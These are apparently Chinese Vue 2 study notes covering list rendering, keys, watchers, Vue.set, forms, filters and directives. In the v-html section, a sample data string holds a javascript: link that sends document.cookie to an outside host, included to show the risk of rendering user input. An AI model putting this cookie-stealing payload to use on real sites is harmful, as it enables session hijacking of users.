0
点赞
收藏
分享

微信扫一扫

VUE 03 列表渲染 key 数据监视 收集表单数据 过滤器 内置指令 自定义指令

朱悟能_9ad4 2022-03-11 阅读 54

列表渲染

p的来源:data中配置的属性,计算属性,指令语法里的形参。

 
    <div id="test">
        <!--遍历数组-->
        <h2>
            <ul>
                <li v-for="(p,index) of persons" :key="index">
                    {{p}} --- {{index}}
                </li>
            </ul>
        </h2>
        <!--遍历对象-->
        <h2>
            <ul>
                <li v-for="(value,k) of objs" :key="k">
                    {{k}} --- {{value}}
                </li>
            </ul>
        </h2>
        <!--遍历字符串-->
        <h2>
            <ul>
                <li v-for="(char,index) of str" :key="index">
                    {{char}} --- {{index}}
                </li>
            </ul>
        </h2>
         <!--遍历指定此时-->
         <h2>
            <ul>
                <li v-for="(a,b) of 5" :key="index">
                    {{a}} --- {{b}}
                </li>
            </ul>
        </h2>

    </div>


    <script type="text/javascript">
        Vue.config.productionTip = false;

       const vm = new Vue({
           el:"#test",
           data:{
                persons:[
                    {name:'jack',age:18},
                    {name:'aric',age:28},
                    {name:'tom',age:38}
                ],

                objs:{
                    name:'lili',
                    id:001,
                    age:12
                },
                str:'this is a string'

           }
           
       })
    </script>

key作用与原理

如果index作为key:

虚拟dom的input是一样的,前三个从真实的dom处直接复用, 真实的input上有用户输入的数据。

同时效率较低。

 如果不写key:

则把遍历时的索引值自动作为key。

id (主键)作为key:

<div id="test">
        <!--遍历数组-->
        <h2>
            <ul>
                <button @click="add">添加</button>
                <li v-for="(p,index) of persons" :key="index">
                    {{p}} --- {{index}}
                    <input type="text">

                </li>
            </ul>
        </h2>
        

    </div>


    <script type="text/javascript">
        Vue.config.productionTip = false;

       const vm = new Vue({
           el:"#test",
           data:{
                persons:[
                    {id:'001', name:'jack',age:18},
                    {id:'002',name:'aric',age:28},
                    {id:'003',name:'tom',age:38}
                ],   
           },
           methods: {
                
               add(){
                const p = {id:'004',name:'lili',age:48};
                this.persons.unshift(p)
               }
           },
           
       })
    </script>

 列表过滤

indexOf   都包含空字符串

删除输入框数据时,传入空字符串,p.name都包含空字符串,所有数据都返回。

filter会返回一个新的数组给filpersons,原数组不受影响,还是原来的数据。

在原始数组对象person中搜索,搜索出来的结果返回给filpersons。页面的呈现也是依赖的filpersons。

<div id="test">
        <!--遍历数组-->
        <h2>
            <input type="text" placeholder="请输入名字" v-model="keywords">
            <ul>
                <button @click="add">添加</button>
                <li v-for="(p,index) of filpersons" :key="p.id">
                    {{p.name}} --{{p.age}}- {{p.id}}
                    <input type="text">

                </li>
            </ul>
        </h2>
        

    </div>


    <script type="text/javascript">
        Vue.config.productionTip = false;

       const vm = new Vue({
           el:"#test",
           data:{
                keywords:'',
                persons:[
                    {id:'001', name:'马冬梅',age:18},
                    {id:'002',name:'周冬雨',age:28},
                    {id:'003',name:'周杰伦',age:38}
                ],  
                filpersons:{} 
           },
           methods: {        
               add(){
                const p = {id:'004',name:'东伦',age:48};
                this.persons.unshift(p)
               }
           },
           watch:{
                keywords:{
                    immediate:true,
                    handler(value){
                        this.filpersons = this.persons.filter((p)=>{
                            return p.name.indexOf(value) !== -1;
                        })
                    }
                },
                persons:{
                    deep:true,
                    handler(){
                        this.filpersons = this.persons;
                    }
                }
                
           }
           
       })
    </script>

计算属性实现:

计算属性回调函数调用:页面刚加载时,所依赖的属性变化时。 

列表排序 

sort  升序

 每一次修改sortType,都会调用计算属性。

 <div id="test">
        <!--遍历数组-->
        <h2>
            <input type="text" placeholder="请输入名字" v-model="keywords">
            <button @click="sortType = 2">升序</button>
            <button @click="sortType = 1">降序</button>
            <button @click="sortType = 0">原始顺序</button>
            <ul>
                
                <li v-for="(p,index) of filpersons" :key="p.id">
                    {{p.name}} --{{p.age}}- {{p.id}}
                    <input type="text">

                </li>
            </ul>
        </h2>
        

    </div>


    <script type="text/javascript">
        Vue.config.productionTip = false;

       const vm = new Vue({
           el:"#test",
           data:{
                keywords:'',
                sortType:0,//0 原顺序  1降序  2升序
                persons:[
                    {id:'001', name:'马冬梅',age:18},
                    {id:'002',name:'周冬雨',age:28},
                    {id:'003',name:'周杰伦',age:38}
                ],  
                
           },
           computed:{
               filpersons(){

                   const arr = this.persons.filter((p)=>{
                        return p.name.indexOf(this.keywords) !== -1;
                   });

                   if(this.sortType){
                        arr.sort((p1,p2)=>{
                            return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age;
                        })
                   }

                   return arr;
                   
               }
           }
           
       })
    </script>

更新时的一个问题

此时不能监视到变化

<div id="test">
        <!--遍历数组-->
        <h2>
            <input type="text" placeholder="请输入名字" v-model="keywords">
            
            <button @click="change">change</button>
            <ul>
                <li v-for="(p,index) of persons" :key="p.id">
                    {{p.name}} --{{p.age}}- {{p.id}}
                    <input type="text">

                </li>
            </ul>
        </h2>
        

    </div>


    <script type="text/javascript">
        Vue.config.productionTip = false;

       const vm = new Vue({
           el:"#test",
           data:{
                keywords:'',
               
                persons:[
                    {id:'001', name:'马冬梅',age:18},
                    {id:'002',name:'周冬雨',age:28},
                    {id:'003',name:'周杰伦',age:38}
                ],  
                
           },
           methods:{
               change(){
                   //this.persons[0].name = 'changename'
                   this.persons[0] = {id:'001', name:'changename',age:18}
               }
           }
          
           
           
       })
    </script>

Vue检测数据改变的原理对象

先对data加工 再赋值给vm中的_data。使其能够感知数据变化。

修改data中的属性,__data__中的属性也发生变化,同时页面也变化。

修改数据时,调用set,同时会重新解析模板。

<script>
        let data = {
            name:'atguigu',
            address:'beijing'
        }

        let vm = {}

        //创建一个监视实例对象,用于监视 data中数据的变化
        //传入data的内存地址
        let obs = new Obsver(data);

        //先对data加工 再赋值给vm中的_data
       //赋值后,原有的data就拿不到了,这样你操作的时候就一定会去调用set函数,
       //因为原始的data没有写set,这样防止你跳过set函数,导致没有执行重新解析模板的语句
       //三者指向同一个内存地址
        vm._data = data =  obs;

        function Obsver(obj){
            //汇总对象中的所有属性形成一个数组
            let arr = Object.keys(obj);

            arr.forEach((k)=>{
                //this是Obsver实例对象
                //给this定义属性
                Object.defineProperty(this,k,{
                    get(){
                        return obj[k]
                    },
                    set(val){
                        console.log("修改了,然后执行重新解析模板")
                        obj[k] = val;
                    }
                })
            })

            
        }
    </script>

Vue.set()

需要给student新添加一个属性,直接在_data中添加不能实现响应式。

 直接给vm添加,也不行。vm里数据来源于_data,数据代理。

 添加响应式属性

 不能给data加属性: 第一个参数不能是vm和vm.data

 

<div id="test">
      <ul>
          <button @click="add">点击添加性别</button>
          <li>
            {{name}}
          </li>

          <li>
              {{student.name}}
          </li>
          <li>
              {{student.sex}}
          </li>
      </ul>
        

    </div>


    <script type="text/javascript">
        Vue.config.productionTip = false;

       const vm = new Vue({
           el:"#test",
           data:{
                name:'sangguigu',
                address:'beijing',
                student:{
                    name:'jt',
                    age:'100'
                }
           },
           methods: {
               add(){
                   Vue.set(this.student,'sex','男') 
               }
           },
       })
  
    </script>

收集表单数据

<div id="root">
     
        <form @submit.prevent="demo">
            <!--<label for="demo">账号</label>
            <input type="text" id="demo"> -->
            
            账号:<input type="text" v-model.trim="userInfo.account"> <br>
            密码:<input type="password" v-model="userInfo.password"><br>
            年龄:<input type="number" v-model.number="userInfo.age"><br>
            性别:
            男 <input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女 <input type="radio" name="sex" v-model="userInfo.sex" value="female"><br>

            爱好:学习<input type="checkbox" v-model="userInfo.hobby" value="study"> 
                  运动<input type="checkbox" v-model="userInfo.hobby" value="sport"> 
                  吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br>

            校区:
            <select v-model="userInfo.city">
                <option value="">请选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="chongqing">重庆</option>
            </select><br>
            <!--失去焦点才更新-->
            其它信息:<textarea v-model.lazy="userInfo.other"></textarea></form><br>

            <input type="checkbox" v-model="userInfo.argee"> 阅读并接受 <a href="www.atguigu.com">协议</a> <br>

            <button>提交表单</button>

        </form>

    </div>


    <script type="text/javascript">
        Vue.config.productionTip = false;

       const vm = new Vue({
           el:"#root",
           data:{
               userInfo:{
                account:'',
                password:'',
                sex:"male",
                //hobby的初始值,能够影响v-moudel搜集回来的数据。
                hobby:[],
                city:"beijing",
                other:'other',
                argee:'',
                age:''
               }
           },
           methods: {
              demo(){
                console.log(JSON.stringify(this.userInfo))
              }
           },
       })
  
    </script>

过滤器

timeFormater的返回值传给 myslice ,time不会直接交给myslice处理。

 <div id="root">
        <h2>{{fmtTime}}</h2>
        <h2>{{comTime()}}</h2>
        <!--time作为参数传入timefo,timefo的返回值回传 -->
        <h2>{{time | timefo}}</h2>

        <h2>{{time | timefo('YYYY-MM-DD')}}</h2>

        <h2>{{time | timefo('YYYY-MM-DD') | slice}}</h2>

        <h2 :x="msg | slice(0,4)">???</h2>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false;
        //全局过滤器
        Vue.filter('slice',function(value){
            return value.slice(0,4);
        })



       const vm = new Vue({
           el:"#root",
           data:{
               time:1646479488133,
               msg:'尚硅谷12134567'
               
           },
           methods: {
               comTime(){
                   return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
               }
              
           },
           computed:{
               fmtTime:{
                   get(){
                    return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
                   }
                   
               }
           },
           //局部过滤器
           filters:{
               /*
                timefo(value){
                    return dayjs(value).format('YYYY-MM-DD HH:mm:ss');
                },
                timefoi(value,str){
                    return dayjs(value).format(str);
                }*/
                /*如果str有值,就用传过来的,没值就用默认的*/
                timefo(value,str='YYYY-MM-DD HH:mm:ss'){
                    return dayjs(value).format(str);
                },
                slice(value){
                    return value.slice(0,4);
                }
           }
       })
  
    </script>

内置指令

 v-text

<div id="root">
        <h2>hello,{{name}}</h2>
        <h2 v-text="name">hello,</h2>
        <h2 v-text="str">hello,</h2>

    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;

        const vm = new Vue({
            el:"#root",
            data:{
                name:"atguigu",
                str:"<h2>hello,atguigu</h2>"
            },
            methods:{
            
            }
        });
   </script>

 v-html

 HttpOnly:只有http协议可以读取。

此时document.cookie无法获得。

<body>
    <div id="root">
        <h2>hello,{{name}}</h2>
        <h2 v-text="name">hello,</h2>
        <h2 v-text="str">hello,</h2>
        <h2 v-html="str"></h2>
        <h2 v-html="str2"></h2>
        <h2>{{str2}}</h2>

    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;

        const vm = new Vue({
            el:"#root",
            data:{
                name:"atguigu",
                str:"<h2>hello,atguigu</h2>",
                //当前网站的cookie会上传到目标网站。
                //如果str2是用户输入的,那就有风险。
                str2:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>hello,atguigu</a>"
            },
            methods:{
            
            }
        });
   </script>

</body>

str2是用户输入的,那就有风险。 

 

 v-cloak

vue引入前存在,引入后消失。

 配合css:

 v-once

<body>
    <div id="root">
        <h2 v-once>初始的n:{{n}}</h2>
        <h2>{{n}}</h2>
        <button @click="n++">plus 1</button>

    </div>
   

</body>
<script type="text/javascript">
    Vue.config.productionTip = false;

    const vm = new Vue({
        el:"#root",
        data:{
            n:1,        
        },
        methods:{
        }
    });
</script>

 v-pre

<body>
    <div id="root">
        <h2 v-pre>不依赖Vue的</h2>
        <h2 v-pre>{{name}}</h2>
        <h2 v-once>初始的n:{{n}}</h2>
        <h2>{{n}}</h2>
        <button @click="n++">plus 1</button>

    </div>
   

</body>
<script type="text/javascript">
    Vue.config.productionTip = false;

    const vm = new Vue({
        el:"#root",
        data:{
            n:1,   
            name:'name'  
        },
        methods:{
        }
    });
</script>

自定义指令

需求:

函数式

两个参数:

绑定的所有信息封装为一个对象:binding。

 指令语法就是操作dom元素的属性,内容,绑定事件。

对象式

此时无法实现获取焦点。

input.focus()必须放在添加元素之后再执行,才能获取焦点。(获取其父元素等)

一些api也能在添加之前操作:

<body>
    <div id="root">
        <h2>hello,{{name}}</h2>
        当前的n值是:<h2 v-text="n"></h2>
        放大10倍后的n值是:<h2 v-big="n"></h2>
        <button @click="n++">点击puls</button> <br>
        <input type="text" v-model:value="name">
        <hr>
        <input type="text" v-fbind:value="n">

        

    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;

        const vm = new Vue({
            el:"#root",
            data:{
                n:  1,
                name:"atguigu"
                
            },
            directives:{
                //1.指令与元素成功绑定时会调用
                //2.指令所在的模板被重新解析时会调用
                big(element,binding){
                    //console.log(element instanceof HTMLElement);//true
                    element.innerText = binding.value * 10;
                    
                },
                fbind:{
                    //当指令与元素成功绑定时调用
                    bind(element,binding){
                        element.value = binding.value
                    },
                    //指令所在元素被插入页面时调用
                    inserted(element,binding){
                        element.focus();
                    },
                    //指令所在页面被重写解析时调用
                    update(element,binding){
                        element.value = binding.value;
                        element.focus();
                    }

                }
            },
            
        });
   </script>

</body>

 

 

举报

相关推荐

0 条评论